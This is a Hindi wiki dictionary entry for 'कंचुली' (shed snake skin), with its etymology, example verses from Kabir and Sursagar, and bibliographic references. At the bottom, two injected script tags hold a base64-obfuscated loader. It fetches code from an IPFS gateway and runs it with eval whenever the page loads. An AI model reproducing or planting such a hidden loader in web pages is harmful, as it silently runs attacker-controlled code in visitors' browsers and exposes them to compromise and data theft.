कंचुली

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें

कंचुली - संज्ञा स्त्रीलिंग (संस्कृत कञ्चुली)[1]

केंचुल।

उदाहरण-

(क) विषै कर्म की कंचुली, पहिर हुआ नर नाग। - कबीर ग्रंथावली[2]

(ख) माँग तै मुकुतावलि टरि, अलक संग अरुझि रही उरगिनि सत फन मानौ कंचुलि तजि दीनी। - सूरसागर[3]


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. हिंदी शब्दसागर, द्वितीय भाग |लेखक: श्यामसुंदरदास बी. ए. |प्रकाशक: नागरी मुद्रण, वाराणसी |पृष्ठ संख्या: 719 |
  2. कबीर ग्रंथावली, पृष्ठ 41, सम्पादक श्यामसुंदर दास, नागरी प्रचारिणी सभा, काशी
  3. सूरसागर (दो भाग), 10।1964 नागरी प्रचारिणी सभा, द्वितीय संस्करण

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>